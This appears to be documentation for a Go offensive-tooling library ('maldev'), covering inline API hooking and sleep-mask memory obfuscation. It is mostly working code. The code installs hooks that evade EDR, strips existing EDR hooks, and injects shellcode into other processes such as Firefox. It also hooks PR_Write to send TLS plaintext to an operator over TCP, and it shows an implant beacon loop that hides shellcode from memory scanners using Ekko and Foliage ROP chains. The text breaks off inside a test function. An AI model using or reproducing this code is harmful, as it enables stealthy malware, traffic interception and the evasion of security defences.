TrampolineN+13 bytesCopy of stolen prologue bytes (with RIP fixups) + absolute JMP back to original function after the patch

Automatic Prologue Analysis

Uses golang.org/x/arch/x86/x86asm to:

  1. Decode instructions until cumulative length >= 5 bytes
  2. Detect RIP-relative instructions ([RIP+disp32], relative branches)
  3. Fix up displacements so the trampoline targets correct addresses

No manual stealLength calculation needed.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/evasion/hook is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Usage

Intercept and Log

import (
    "log"
    "syscall"
    "unsafe"

    "github.com/oioio-space/maldev/evasion/hook"
    "golang.org/x/sys/windows"
)

var h *hook.Hook

func main() {
    var err error
    h, err = hook.InstallByName("kernel32.dll", "DeleteFileW",
        func(lpFileName uintptr) uintptr {
            name := windows.UTF16PtrToString((*uint16)(unsafe.Pointer(lpFileName)))
            log.Printf("DeleteFileW: %s", name)
            r, _, _ := syscall.SyscallN(h.Trampoline(), lpFileName)
            return r
        },
    )
    if err != nil {
        log.Fatal(err)
    }
    defer h.Remove()

    // All DeleteFileW calls in this process now go through our handler.
    select {}
}

Block an API Call

var h *hook.Hook
h, _ = hook.InstallByName("kernel32.dll", "DeleteFileW",
    func(lpFileName uintptr) uintptr {
        return 0 // Return FALSE — deletion blocked
    },
)
defer h.Remove()

Monitor NtCreateFile

var h *hook.Hook
h, _ = hook.InstallByName("ntdll.dll", "NtCreateFile",
    func(fileHandle, desiredAccess, objAttrs, ioStatus, allocSize,
         fileAttrs, shareAccess, createDisp, createOpts, eaBuffer,
         eaLength uintptr) uintptr {
        log.Println("NtCreateFile intercepted")
        r, _, _ := syscall.SyscallN(h.Trampoline(),
            fileHandle, desiredAccess, objAttrs, ioStatus, allocSize,
            fileAttrs, shareAccess, createDisp, createOpts, eaBuffer, eaLength)
        return r
    },
)
defer h.Remove()

How to Find the Right Function to Hook

You don't need x64dbg. Windows API functions are exported by name from system DLLs — InstallByName resolves them automatically.

Step 1: Identify the API

Ask: "What Windows API does the operation I want to intercept call?"

I want to intercept...Hook this functionIn this DLL
File deletionDeleteFileWkernel32.dll
File creation/openingNtCreateFilentdll.dll
Process creationCreateProcessWkernel32.dll
Registry writesRegSetValueExWadvapi32.dll
Network connectionsconnectws2_32.dll
DNS resolutionDnsQuery_Wdnsapi.dll
MessageBoxMessageBoxWuser32.dll
Memory allocationNtAllocateVirtualMemoryntdll.dll
DLL loadingLdrLoadDllntdll.dll
ScreenshotBitBltgdi32.dll

Tip: Hook the Nt* (ntdll) version to catch all callers — kernel32 functions like CreateFileW internally call NtCreateFile, so hooking at the ntdll level catches both direct and indirect calls.

Step 2: Find the Signature

Look up the function signature on Microsoft Learn. Convert each parameter to uintptr in your Go handler:

// MSDN signature:
// BOOL DeleteFileW(LPCWSTR lpFileName)
//
// Go handler:
func(lpFileName uintptr) uintptr

// MSDN signature:
// NTSTATUS NtCreateFile(
//   PHANDLE FileHandle,
//   ACCESS_MASK DesiredAccess,
//   POBJECT_ATTRIBUTES ObjectAttributes,
//   PIO_STATUS_BLOCK IoStatusBlock,
//   PLARGE_INTEGER AllocationSize,
//   ULONG FileAttributes,
//   ULONG ShareAccess,
//   ULONG CreateDisposition,
//   ULONG CreateOptions,
//   PVOID EaBuffer,
//   ULONG EaLength
// )
//
// Go handler: all pointers and integers become uintptr
func(fileHandle, desiredAccess, objAttrs, ioStatus, allocSize,
     fileAttrs, shareAccess, createDisp, createOpts, eaBuffer,
     eaLength uintptr) uintptr

Step 3: Write the Hook

package main

import (
    "fmt"
    "log"
    "os"
    "syscall"
    "unsafe"

    "github.com/oioio-space/maldev/evasion/hook"
    "golang.org/x/sys/windows"
)

var hDeleteFile *hook.Hook

func main() {
    var err error

    // Hook DeleteFileW — intercept all file deletions in this process.
    hDeleteFile, err = hook.InstallByName("kernel32.dll", "DeleteFileW",
        func(lpFileName uintptr) uintptr {
            name := windows.UTF16PtrToString((*uint16)(unsafe.Pointer(lpFileName)))

            // Decide: block or allow?
            if name == `C:\important.txt` {
                log.Printf("BLOCKED deletion of %s", name)
                // Return FALSE — caller's GetLastError() will see whatever
                // is already in TEB (typically 0). Use windows.SetLastError
                // via direct syscall if you need a specific code.
                return 0
            }

            // Allow — call original via trampoline.
            log.Printf("ALLOWED deletion of %s", name)
            r, _, _ := syscall.SyscallN(hDeleteFile.Trampoline(), lpFileName)
            return r
        },
    )
    if err != nil {
        log.Fatal(err)
    }
    defer hDeleteFile.Remove()

    // Test it — try to delete a file.
    err = os.Remove(`C:\important.txt`)
    fmt.Printf("Remove result: %v\n", err) // Access denied — hook blocked it

    err = os.Remove(`C:\temp\disposable.txt`)
    fmt.Printf("Remove result: %v\n", err) // Allowed — hook called original
}

Step 4: List All Exports

To discover what functions a DLL exports (without x64dbg), use debug/pe:

import "debug/pe"

f, _ := pe.Open(`C:\Windows\System32\kernel32.dll`)
defer f.Close()

exports, _ := f.Exports()
for _, e := range exports {
    fmt.Println(e.Name)
}
// Output: AcquireSRWLockExclusive, AddAtomA, AddAtomW, ...

Finding Signatures Without MSDN

The PE export table only stores name → addressno parameter types or count. This is a fundamental limitation of the PE format. Several approaches exist depending on the context:

For Windows APIs: just use MSDN

Microsoft documents every public function. Search site:learn.microsoft.com <function name> and translate to uintptr.

For unknown/third-party functions: estimate parameter count

Since Go handlers use uintptr for all parameters, you only need to know how many params — not their types. The x64 ABI is predictable:

  • First 4 args: RCX, RDX, R8, R9
  • Additional args: pushed on stack after 32-byte shadow space
  • sub rsp, 0xNN in the prologue hints at the frame size

Practical shortcut: declare more parameters than the function actually takes. Extra uintptr args are harmless — the Go callback ignores them:

// Don't know exact param count? Declare the maximum (up to 18).
// Unused params are simply zero.
h, _ = hook.Install(funcAddr, func(
    a1, a2, a3, a4, a5, a6, a7, a8 uintptr,
) uintptr {
    log.Printf("called with: %x %x %x %x", a1, a2, a3, a4)
    r, _, _ := syscall.SyscallN(h.Trampoline(), a1, a2, a3, a4, a5, a6, a7, a8)
    return r
})

For programs with debug symbols (.pdb)

Microsoft publishes PDB files for system binaries on the Symbol Server. Third-party programs sometimes ship with .pdb files next to the .exe. PDB files contain full type information including parameter names and types. Parsing requires a PDB reader (not yet in maldev).

Discovering imports of a target program

To see which DLL functions a program calls (and thus which are hookable via IAT), parse its import table:

import "debug/pe"

f, _ := pe.Open(`C:\path\to\target.exe`)
defer f.Close()

imports, _ := f.ImportedSymbols()
for _, sym := range imports {
    fmt.Println(sym) // "kernel32.dll:CreateFileW", "ntdll.dll:NtClose", etc.
}

This tells you exactly which functions the target uses — you can then look up each one's signature by name.

Hook Options

Install and InstallByName accept variadic HookOption values:

OptionEffect
WithCaller(caller)Route the memory-patch syscall through a *wsyscall.Caller for indirect/direct syscall dispatch (EDR evasion)
WithCleanFirst()Re-read the target function prologue from disk before patching, stripping any EDR hook already present
caller := wsyscall.New(wsyscall.MethodIndirect,
    wsyscall.Chain(wsyscall.NewHashGate(), wsyscall.NewHellsGate()))

h, err := hook.InstallByName("ntdll.dll", "NtWriteFile", myHandler,
    hook.WithCaller(caller),   // use indirect syscalls for the patch
    hook.WithCleanFirst(),     // evict EDR hook first
)

Both options compose: WithCleanFirst strips the EDR hook via unhook.ClassicUnhook, then WithCaller writes the new patch through the indirect-syscall path.


InstallProbe — Unknown Signatures

When you don't know a function's parameter types or count, use InstallProbe. It hooks with a 18-uintptr handler, calls the original transparently, and delivers a ProbeResult to your callback on every call.

func Install​Probe(targetAddr uintptr, onCall func(ProbeResult), opts ...HookOption) (*Hook, error)
func Install​ProbeByName(dllName, funcName string, onCall func(ProbeResult), opts ...HookOption) (*Hook, error)

ProbeResult

type ProbeResult struct {
    Args [18]uintptr
    Ret  uintptr
}

func (r ProbeResult) NonZeroArgs() []int  // indices of non-zero args
func (r ProbeResult) NonZeroCount() int   // count of non-zero args

Example: discover parameters of an unknown function

h, err := hook.InstallProbeByName("somelib.dll", "UnknownFunc",
    func(r hook.ProbeResult) {
        log.Printf("called: %d non-zero args at indices %v",
            r.NonZeroCount(), r.NonZeroArgs())
        // Inspect r.Args[0], r.Args[1], ... to understand the ABI.
    },
)
if err != nil {
    log.Fatal(err)
}
defer h.Remove()

Call the target binary and observe which argument slots light up. Once you have a count, switch to a typed Install handler.


HookGroup — Multi-Hook

HookGroup installs a set of hooks atomically: if any installation fails, all previously installed hooks in the group are removed before the error is returned, so the process never ends up in a half-hooked state.

func InstallAll(targets []Target, opts ...HookOption) (*HookGroup, error)

type Target struct {
    DLL     string
    Func    string
    Handler interface{}
}

func (g *HookGroup) RemoveAll() error
func (g *HookGroup) Hooks() []*Hook

Example: hook all Winsock send/recv at once

var (
    hSend *hook.Hook
    hRecv *hook.Hook
)

g, err := hook.InstallAll([]hook.Target{
    {DLL: "ws2_32.dll", Func: "send",
        Handler: func(s, buf, len, flags uintptr) uintptr {
            log.Printf("send: %d bytes", len)
            r, _, _ := syscall.SyscallN(hSend.Trampoline(), s, buf, len, flags)
            return r
        },
    },
    {DLL: "ws2_32.dll", Func: "recv",
        Handler: func(s, buf, len, flags uintptr) uintptr {
            log.Printf("recv: %d bytes", len)
            r, _, _ := syscall.SyscallN(hRecv.Trampoline(), s, buf, len, flags)
            return r
        },
    },
})
if err != nil {
    log.Fatal(err) // both hooks rolled back on any failure
}
// Populate trampoline references after group install.
hSend = g.Hooks()[0]
hRecv = g.Hooks()[1]
defer g.RemoveAll()

PE Import Analysis

pe/imports enumerates the IAT (Import Address Table) of any PE on disk — no process access required. Use it to discover which functions a target binary imports so you know what to hook.

// List every import in an executable.
func List(pePath string) ([]Import, error)

// Filter to a single DLL.
func ListByDLL(pePath, dllName string) ([]Import, error)

// Parse from an io.ReaderAt (e.g. in-memory PE).
func FromReader(r io.ReaderAt) ([]Import, error)

type Import struct {
    DLL      string
    Function string
}

Example: find hookable network functions in a target

import "github.com/oioio-space/maldev/pe/imports"

imps, err := imports.ListByDLL(`C:\Program Files\target\app.exe`, "ws2_32.dll")
if err != nil {
    log.Fatal(err)
}
for _, imp := range imps {
    fmt.Printf("%s!%s\n", imp.DLL, imp.Function)
}
// ws2_32.dll!connect
// ws2_32.dll!send
// ws2_32.dll!recv
// ws2_32.dll!WSASend

Remote Hooking

RemoteInstall injects a shellcode hook handler into another process. The patching itself happens inside the target process (the shellcode is responsible for installing the hook once loaded). Compose with GoHandler to turn a Go hook DLL into position-independent shellcode via Donut.

// Inject shellcode handler into a process by PID.
func RemoteInstall(pid uint32, dllName, funcName string, shellcodeHandler []byte, opts ...RemoteOption) error

// Resolve process name to PID, then call RemoteInstall.
func RemoteInstallByName(processName, dllName, funcName string, shellcodeHandler []byte, opts ...RemoteOption) error

// Convert a Go hook DLL on disk to PIC shellcode.
func GoHandler(dllPath, entryPoint string) ([]byte, error)

// Convert a Go hook DLL already loaded in memory to PIC shellcode.
func GoHandlerBytes(dllBytes []byte, entryPoint string) ([]byte, error)

// Override the injection method (default: CreateRemoteThread).
func WithMethod(m inject.Method) RemoteOption

All 15+ injection methods from inject/ are available via WithMethod.

Example workflow: hook PR_Write in Firefox

// 1. Build the hook DLL (go build -buildmode=c-shared -o hook.dll ./hookcmd)
sc, err := hook.GoHandler(`hook.dll`, "InstallHook")
if err != nil {
    log.Fatal(err)
}

// 2. Inject into the running process using a stealthy method.
err = hook.RemoteInstallByName("firefox.exe", "nss3.dll", "PR_Write", sc,
    hook.WithMethod(inject.MethodEarlyBirdAPC),
)
if err != nil {
    log.Fatal(err)
}
// Firefox's TLS layer (nss3.dll!PR_Write) is now intercepted.

Shellcode Templates

evasion/hook/shellcode provides tiny x64 stubs for use with RemoteInstall when you want a pre-canned behaviour without writing a full hook DLL.

// Block() — always returns 0 (FALSE). 3 bytes: XOR EAX,EAX; RET
func Block() []byte

// Nop(addr) — calls original function unchanged via JMP to trampoline. 13 bytes.
func Nop(trampolineAddr uintptr) []byte

// Replace(val) — returns a fixed value. 11 bytes: MOV RAX,imm64; RET
func Replace(returnValue uintptr) []byte

// Redirect(addr) — unconditional JMP to another address. 13 bytes.
func Redirect(targetAddr uintptr) []byte

Example: silently block a single API in a remote process

import "github.com/oioio-space/maldev/evasion/hook/shellcode"

// Block all CreateFile calls in notepad.exe — returns 0 with no side-effects.
err := hook.RemoteInstallByName("notepad.exe", "kernel32.dll", "CreateFileW",
    shellcode.Block(),
)

Bridge Control API

The evasion/hook/bridge package provides a bidirectional IPC channel between a hook handler running inside a target process and an operator listener outside (or in a separate goroutine).

Modes

ModeHowWhen to use
Standalonebridge.Standalone()Hook runs autonomously — all Ask calls return Allow automatically
Connectedbridge.Connect(conn)Hook sends events to a live listener for real-time decisions

Controller (hook handler side)

// Standalone — no comms, all decisions auto-allow.
c := bridge.Standalone()

// Connected — bidirectional channel to a Listener.
c := bridge.Connect(conn)

// Send a tagged call for approval; blocks until listener replies.
// Returns Allow on any transport error (fail-open).
decision := c.Ask("tag", data) // returns Allow | Block | Modify

// Send a free-form log message to the listener.
c.Log("format %s", value)

// Exfiltrate tagged binary data to the listener.
c.Exfil("tag", data)

// Call the original function via trampoline.
ret := c.CallOriginal(args...)

Decisions:

bridge.Allow  // pass through to original
bridge.Block  // suppress the call
bridge.Modify // caller adjusts args/return before forwarding

Listener (operator side)

conn, _ := bridge.DialTCP("127.0.0.1:9000", 5*time.Second)
l := bridge.NewListener(conn)

l.OnCall(func(c bridge.Call) bridge.Decision {
    log.Printf("[%s] %x", c.Tag, c.Data)
    return bridge.Allow
})
l.OnExfil(func(tag string, data []byte) {
    log.Printf("exfil[%s]: %d bytes", tag, len(data))
})
l.OnLog(func(msg string) { log.Println(msg) })

go l.Serve() // blocks until connection closed
defer l.Close()

Transport

// Named pipe (Windows — low footprint, no network traffic).
conn, err := bridge.DialPipe(`\\.\pipe\hookbridge`, 5*time.Second)

// TCP (cross-host or cross-process).
conn, err := bridge.DialTCP("127.0.0.1:9000", 5*time.Second)

Example: TLS interception via PR_Write hook

// --- implant side (inside target process, hook DLL) ---
c := bridge.Connect(conn)

hook.InstallByName("nss3.dll", "PR_Write",
    func(fd, buf, amount uintptr) uintptr {
        data := unsafe.Slice((*byte)(unsafe.Pointer(buf)), amount)
        c.Exfil("pr_write", data)                     // send plaintext to operator
        d := c.Ask("pr_write_allow", data)             // ask for approval
        if d == bridge.Block {
            return 0
        }
        r, _, _ := syscall.SyscallN(h.Trampoline(), fd, buf, amount)
        return r
    },
)

// --- operator side (separate process) ---
conn, _ := bridge.DialTCP("127.0.0.1:9000", 5*time.Second)
l := bridge.NewListener(conn)
l.OnExfil(func(tag string, data []byte) {
    fmt.Printf("[TLS plaintext] %s\n", data)
})
l.OnCall(func(c bridge.Call) bridge.Decision {
    return bridge.Allow // let all writes through
})
go l.Serve()

Advantages & Limitations

AspectDetail
Pure GoNo CGo — uses syscall.NewCallback
Auto analysisPrologue decoded via x86asm
RIP fixupRIP-relative instructions patched in trampoline
TrampolineOriginal function remains callable
Max params~18 uintptr parameters (NewCallback limit)
ScopeCurrent process only (use RemoteInstall for other processes)
Thread safetyBrief race window during patch (non-atomic write)
Go runtimeDon't hook NtClose, NtCreateFile, NtReadFile, NtWriteFile
WithCallerRoutes memory-patch through indirect/direct syscalls to evade EDR write monitors
WithCleanFirstStrips existing EDR hook from disk image before installing yours
InstallProbeSignature-agnostic probe; captures all 18 arg slots, zero overhead on unknown ABIs
HookGroupAtomic multi-hook install with rollback — no partial state on failure
RemoteInstallInjects hook handler into another process via any of 15+ injection methods
GoHandlerConverts Go hook DLL to PIC shellcode via Donut (no separate toolchain needed)
shellcode templatesBlock / Nop / Replace / Redirect — tiny PIC stubs for remote hooks
Bridge (standalone)Autonomous hook with no comms; Ask always returns Allow
Bridge (connected)Real-time operator control over allow/block/modify decisions via named pipe or TCP

Comparison with evasion/unhook

evasion/hookevasion/unhook
DirectionInstalls hooks (intercept)Removes hooks (restore)
Use caseAPI monitoring, redirectionEDR bypass
ComplementaryUnhook EDR first, then install your own hooks

MITRE ATT&CK

TechniqueID
Hijack Execution Flow: Inline HookingT1574.012

Detection

High — Any integrity check comparing in-memory function prologues to their on-disk counterparts will detect the JMP patch. EDR products specifically monitor for this on sensitive functions.

See also

Encrypted Sleep (Sleep Mask)

MITRE ATT&CK: T1027 — Obfuscated Files or Information D3FEND: D3-SMRA — System Memory Range Analysis Detection: Low · Platform: Windows

TL;DR

A long-running implant sits in executable memory 24/7. Every EDR worth its name scans those pages on a timer, looking for known shellcode patterns — and the implant is idle most of the time (waiting for tasks). Sleep masking flips the implant's pages from executable to read-write + scrambles the bytes during sleep, so the scanner sees random noise in non-executable memory instead.

This package gives you two orthogonal knobs to tune the trade-off:

Cipher (how to scramble)When to pick it
NewXORCipher() (default)Smallest footprint. Periodic key visible to a determined analyst, doesn't matter if they only see one cycle.
NewRC4Cipher()Stream cipher (no period). Required by Ekko/Foliage strategies.
NewAESCTRCipher()Modern audited primitive. Slightly heavier code + CPU.
Strategy (where the wait happens)When to pick it
InlineStrategy{} (default — L1)Caller goroutine waits via time.Sleep. Simplest.
InlineStrategy{UseBusyTrig: true} (L1)Defeats sandboxes that warp time.Sleep and EDRs hooking every kernel wait. Burns one core.
TimerQueueStrategy{} (L2-light)Wait runs on a thread-pool worker — caller thread isn't sitting in Sleep.
EkkoStrategy{} (L2-full)Beacon RIP hides inside a WaitForSingleObjectEx ROP chain. Single region, RC4 only, windows+amd64.
FoliageStrategy{} (L3)Ekko + thread-stack scrubbing mid-wait. Strongest sleep evasion shipped.

Default to InlineStrategy{} + XOR. Upgrade only when a specific defender forces you to.

Primer — vocabulary

Five terms recur on this page:

EDR memory scan — the routine job an Endpoint Detection & Response agent does to find in-memory threats: walks all committed pages of the target process via VirtualQueryEx, filters for those marked executable (PAGE_EXECUTE_READ / PAGE_EXECUTE_READWRITE), then hashes or YARA-matches the bytes. Sleep masking exists to blind this exact scan.

VirtualProtect — the Win32 API that changes a region's protection flags. Used twice per sleep cycle: once to drop X so the scanner skips the region, once to restore it before the implant runs again.

NtContinue ROP chain (Ekko) — a sequence of return addresses written to a thread's stack so that as the thread "returns", it actually executes a chain of pre-chosen functions: VirtualProtect → SystemFunction032 (RC4) → wait → SystemFunction032 → VirtualProtect. Result: from any debugger snapshot during the wait, the beacon thread looks like it's doing legitimate Win32 work, not sleeping.

Stack scrubbing (Foliage) — extends Ekko by adding an extra memset gadget that zeroes the used shadow frames mid-chain. Without it, a thread-stack walker mid-wait can still see the addresses of VirtualProtect / SystemFunction032 / the implant's return point. With it, the stack above Rsp is zeros — no clue what the thread did before reaching the wait.

Region — a contiguous range of memory the mask should protect, given as {Addr, Size}. A Mask can hold multiple regions (for non-contiguous payloads — e.g., shellcode + a separately-allocated config block).

This package's Mask type composes a Cipher with a Strategy and accepts a context.Context so sleep cycles can be cancelled. It also ships a RemoteMask for masking memory in another process. The e2e tests in sleepmask_e2e_windows_test.go run a real concurrent memory scanner during Sleep() across the available strategies and assert it finds nothing.

How It Works

sequenceDiagram
    participant Impl as "Implant"
    participant Mask as "Mask.Sleep"
    participant Page as "Protected region"
    participant Scan as "EDR scanner"

    Impl->>Mask: Sleep(30s)
    Mask->>Mask: 32-byte random key (crypto/rand)

    Note over Mask,Page: Order matters: RW first, then XOR.<br>Post-inject pages are PAGE_EXECUTE_READ,<br>writing before downgrade = STATUS_ACCESS_VIOLATION

    loop For each region
        Mask->>Page: VirtualProtect(RW), capture origProtect
        Mask->>Page: XOR in-place with key
    end

    Note over Page: Pages: RW + scrambled bytes<br>(not on the scanner's target list)

    Scan->>Page: scan executable pages
    Page-->>Scan: no executable pages matching<br>signature in this region

    Mask->>Mask: time.Sleep(30s) OR BusyWaitTrig(30s)

    loop For each region
        Mask->>Page: VirtualProtect(RW) [no-op if already RW]
        Mask->>Page: XOR decrypt (self-inverse)
        Mask->>Page: VirtualProtect(origProtect)
    end

    Mask->>Mask: SecureZero(key)
    Mask-->>Impl: return

Step-by-step:

  1. Generate keycipher.KeySize() random bytes from crypto/rand (32 for XOR/RC4, 48 for AES-CTR).
  2. Downgrade + encrypt — for each region: VirtualProtect(PAGE_READWRITE, &origProtect[i]) then cipher.Apply(buf, key).
  3. Wait — delegated to the selected Strategy: InlineStrategy waits on the caller goroutine; TimerQueueStrategy waits on a thread-pool worker; EkkoStrategy waits inside a WaitForSingleObjectEx ROP gadget on a pool thread so the beacon RIP never sits in Sleep/SleepEx.
  4. Decrypt + restoreVirtualProtect(PAGE_READWRITE) (idempotent), cipher.Apply again (self-inverse for XOR/RC4; symmetric counter for AES-CTR), VirtualProtect(origProtect[i]) to restore the original bits.
  5. Scrub keycleanup/memory.SecureZero(key) so keying material does not linger on the Go stack.

Taxonomy: Levels of sleep mask

LevelNameWhat it hidesStrategy in this package
L1InlineRegion bytes + executable bitInlineStrategy (default)
L2-lightPool threadAbove + caller thread's wait syscall is not SleepTimerQueueStrategy
L2-fullEkkoAbove + beacon thread RIP sits inside VirtualProtect / SystemFunction032 / WaitForSingleObjectEx via NtContinue ROP chainEkkoStrategy
L3FoliageL2 + thread stack scrubbing on wait (memset of used shadow frames)FoliageStrategy
L4BOF-styleL3 + in-memory loader isolationnot shipped

See the design spec in .dev/superpowers/specs/2026-04-23-sleepmask-variants-design.md for the full taxonomy and deferred work.

Usage

Quick start — mask one region during a 30-second sleep

You allocated executable memory for shellcode (via VirtualAlloc + VirtualProtect to PAGE_EXECUTE_READ). The implant just finished a beacon cycle and wants to sleep for 30 seconds before the next check-in. The shortest path:

package main

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/evasion/sleepmask"
)

func sleepProtected(shellcodeAddr uintptr, shellcodeLen uintptr) {
    // Step 1: tell the mask which region to protect.
    //         shellcodeAddr points at PAGE_EXECUTE_READ memory
    //         holding your payload — typically what inject.* just
    //         allocated.
    mask := sleepmask.New(sleepmask.Region{
        Addr: shellcodeAddr,
        Size: shellcodeLen,
    })

    // Step 2: sleep. Behind the scenes:
    //   - VirtualProtect → PAGE_READWRITE (region drops 'X' bit)
    //   - XOR-scramble bytes with a fresh 32-byte random key
    //   - time.Sleep(30s)
    //   - XOR-decrypt (XOR is self-inverse)
    //   - VirtualProtect → PAGE_EXECUTE_READ (restored)
    //   - SecureZero the key off the stack
    _ = mask.Sleep(context.Background(), 30*time.Second)

    // After this returns, the region is back to PAGE_EXECUTE_READ
    // and contains the original payload, ready to execute.
}

What an EDR scanner sees during those 30 seconds:

  • The region is PAGE_READWRITE, not executable. A scan filtered on executable pages skips it entirely.
  • Even if the scanner sweeps RW pages too, the bytes are random noise — no YARA / hash signature matches.

What the scanner DOES still see:

  • The region exists. A scanner that flags "any RW region of size ~150 KB on top of the heap" can still notice it (rare — most EDRs don't classify by size alone, false-positive rate is too high).
  • The implant's beacon thread, if running on the inline strategy, is still parked in time.SleepNtWaitForSingleObject. A thread-stack walker sees that wait. Switch to EkkoStrategy to disguise the wait as WaitForSingleObjectEx inside a ROP chain.

Multi-region: protect non-contiguous memory

mask := sleepmask.New(
    sleepmask.Region{Addr: shellcode, Size: shellcodeLen},
    sleepmask.Region{Addr: reflectiveDLL, Size: dllSize},
    sleepmask.Region{Addr: configBlock, Size: configLen},
)
_ = mask.Sleep(context.Background(), 45*time.Second)

Each region keeps its own original protection. An RX region is restored to RX; an RWX region is restored to RWX. See TestSleepMaskE2E_MultiRegionIndependentEncryption and TestSleepMaskE2E_RestoresOriginalRWXProtection.

Multi-region with Ekko

EkkoStrategy's ROP chain is single-region by construction (the NtContinue chain has hardcoded gadget slots for one VirtualProtect / SystemFunction032 / VirtualProtect triplet). For multi-region masking under the Ekko model, wrap it in MultiRegionRotation:

mask := sleepmask.New(regionA, regionB, regionC).
    WithStrategy(&sleepmask.MultiRegionRotation{Inner: &sleepmask.EkkoStrategy{}}).
    WithCipher(sleepmask.NewRC4Cipher())
_ = mask.Sleep(context.Background(), 30*time.Second)

MultiRegionRotation runs Inner.Cycle once per region for d/N seconds each. The total wall-clock duration matches d. Trade-off: only one region is encrypted at any given moment — regionA is masked during seconds [0, 10), regionB during [10, 20), regionC during [20, 30). For simultaneous protection of all regions across the full duration, use InlineStrategy or TimerQueueStrategy, both of which already iterate over the regions slice up-front.

Choosing a strategy

// Default (L1): caller goroutine runs encrypt → wait → decrypt.
mask := sleepmask.New(region) // equivalent to WithStrategy(&InlineStrategy{})

// Same strategy but with a trigonometric busy-wait instead of time.Sleep.
mask := sleepmask.New(region).
    WithStrategy(&sleepmask.InlineStrategy{UseBusyTrig: true})

// L2-light: cycle runs on a thread-pool worker, caller blocks on an event.
mask := sleepmask.New(region).
    WithStrategy(&sleepmask.TimerQueueStrategy{})

// L2-full: NtContinue ROP chain (windows+amd64 only, RC4 cipher required).
mask := sleepmask.New(region).
    WithCipher(sleepmask.NewRC4Cipher()).
    WithStrategy(&sleepmask.EkkoStrategy{})

// L3 Foliage: Ekko + stack-scrub (zero our used gadget shadows
// mid-chain so a walker mid-wait sees clean zeros above Rsp instead
// of VP/SF032 residue).
mask := sleepmask.New(region).
    WithCipher(sleepmask.NewRC4Cipher()).
    WithStrategy(&sleepmask.FoliageStrategy{})
StrategyThread doing the waitWait syscall on that threadCostStatus
InlineStrategy{}caller goroutineNtWaitForSingleObject (time.Sleep)near-zero CPUshipped
InlineStrategy{UseBusyTrig: true}caller goroutinenone (CPU-bound trig loop)full core busyshipped
TimerQueueStrategy{}thread-pool workerWaitForSingleObject on a never-fired eventnear-zero CPUshipped
EkkoStrategy{}thread-pool workerWaitForSingleObjectEx reached via an NtContinue gadget chainnear-zero CPUshipped (windows+amd64, RC4 only, single region)
FoliageStrategy{}thread-pool workerSame as Ekko + extra memset gadget scrubs used shadow frames to zeros before the waitnear-zero CPUshipped (L3; windows+amd64, RC4 only, single region)

Rule of thumb: default to InlineStrategy{}. Switch to TimerQueueStrategy{} when you want the beacon goroutine's wait to look distinct from Sleep. Switch to InlineStrategy{UseBusyTrig: true} when you're fighting a sandbox that warps time or an EDR that has hooked every kernel wait primitive.

Choosing a cipher

mask := sleepmask.New(region).WithCipher(sleepmask.NewRC4Cipher())
CipherKeyspaceStrengthsWeaknesses
NewXORCipher() (default)32 bytes, repeatingtiny, dependency-free, self-inverse32-byte period visible under key-period analysis
NewRC4Cipher()32 bytes, streamstream cipher, no period, required by EkkoStrategy (SystemFunction032)RC4 key-schedule biases — not a cryptographic guarantee
NewAESCTRCipher()48 bytes (32 key + 16 nonce)modern, audited primitivelarger code footprint, slightly heavier CPU

The cipher has no bearing on scanner evasion (any of them scrambles the region) — it matters for analysts dumping the region and trying to reconstruct bytes after seeing multiple cycles under the same key material. Since the key is fresh per cycle, the practical gap between XOR and AES is small; pick on footprint.

Real beacon loop

package main

import (
    "time"
    "unsafe"

    "golang.org/x/sys/windows"

    "github.com/oioio-space/maldev/evasion/sleepmask"
    "github.com/oioio-space/maldev/inject"
)

func beacon(shellcode []byte) error {
    size := uintptr(len(shellcode))
    addr, err := windows.VirtualAlloc(0, size,
        windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
    if err != nil {
        return err
    }
    copy(unsafe.Slice((*byte)(unsafe.Pointer(addr)), len(shellcode)), shellcode)

    var old uint32
    if err := windows.VirtualProtect(addr, size, windows.PAGE_EXECUTE_READ, &old); err != nil {
        return err
    }

    mask := sleepmask.New(sleepmask.Region{Addr: addr, Size: size})

    for {
        // Run your beacon logic: check in, pull tasks, execute, exfil.
        if err := inject.ExecuteCallback(addr, inject.CallbackEnumWindows); err != nil {
            return err
        }
        // Hide while idle.
        _ = mask.Sleep(context.Background(), 30*time.Second)
    }
}

Integrating with inject.SelfInjector

When the shellcode lands via one of the self-process injection methods (MethodCreateThread, MethodCreateFiber, MethodEtwpCreateEtwThread on Windows; MethodProcMem on Linux), you don't need to allocate or track the region manually — the injector already did. Type-assert the returned Injector to inject.SelfInjector and pull the region directly into the mask:

inj, err := inject.NewWindowsInjector(&inject.WindowsConfig{
    Config:        inject.Config{Method: inject.MethodCreateThread},
    SyscallMethod: wsyscall.MethodIndirect,
})
if err != nil { return err }
if err := inj.Inject(shellcode); err != nil { return err }

self, ok := inj.(inject.SelfInjector)
if !ok { return fmt.Errorf("not a self-process injector") }

r, ok := self.InjectedRegion()
if !ok { return fmt.Errorf("no region published (cross-process method?)") }

mask := sleepmask.New(sleepmask.Region{Addr: r.Addr, Size: r.Size}).
    WithStrategy(&sleepmask.InlineStrategy{UseBusyTrig: true})

for {
    // beacon work...
    _ = mask.Sleep(context.Background(), 30*time.Second)
}

The SelfInjector contract: returns (Region{}, false) before the first successful Inject, after a failed Inject, or when the method is cross-process (CRT / APC / EarlyBird / ThreadHijack / Rtl / NtQueueApcThreadEx). Decorators (WithValidation, WithCPUDelay, WithXOR) and Pipeline forward the region transparently, so the same pattern works at the end of any Chain. See docs/techniques/injection/README.md for the injection side of the contract.

Verifying It Works

The e2e suite runs a concurrent testutil.ScanProcessMemory — the same loop an EDR uses: VirtualQuery every page, filter for PAGE_EXECUTE_*, search for a signature — while Mask.Sleep() is in progress. Key fixtures:

  • testutil.WindowsSearchableCanary — a 19-byte payload: xor eax,eax; ret followed by the ASCII marker MALDEV_CANARY!!\n. The marker makes the region trivially findable on an executable page.
  • testutil.ScanProcessMemory(marker) — walks every committed region in the process, returns the first hit on an executable page.

The canonical test proves the full contract in one shot:

// From sleepmask_e2e_windows_test.go
func TestSleepMaskE2E_DefeatsExecutablePageScanner(t *testing.T) {
    payload := testutil.WindowsSearchableCanary
    addr, cleanup := allocAndWriteRX(t, payload) // allocs + flips to PAGE_EXECUTE_READ
    defer cleanup()

    // Baseline: findable before masking.
    marker := []byte("MALDEV_CANARY!!\n")
    _, ok := testutil.ScanProcessMemory(marker)
    require.True(t, ok, "baseline scan must find canary before masking")

